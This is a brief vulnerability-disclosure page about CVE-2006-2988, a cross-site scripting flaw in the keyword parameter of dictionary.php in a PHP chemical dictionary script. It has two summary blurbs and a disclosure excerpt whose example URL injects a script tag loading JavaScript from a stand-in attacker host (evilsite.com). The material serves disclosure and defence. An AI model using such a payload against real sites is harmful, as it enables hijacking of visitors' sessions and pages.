CVE-2006-2988

Cross-site scripting XSS vulnerability in dictionary.php in Chemical Dictionary allows remote attackers to inject arbitrary web script or HTML via the keyword parameter in a browse action...

CVE-2006-2988

CVE-2006-2988 is a Cross-site Scripting (XSS) vulnerability in the dictionary.php script of Chemical Dictionary, exploitable via the keyword parameter in a browse action. The issue allows remote attackers to inject arbitrary web script or HTML. Reported impact is partial integrity exposure but no...

Chemical Directory - XSS

Chemical Directory v.unknown doesnt say on website Homepage: http://www.scriptsez.net/ Effected files: dictionary.php XSS Vulnerability via keyword variable: http://www.example.com/dictionary.php?action=browse&keyword=eSCRIPT SRC=http://evilsite.com/xss.js/SCRIPT...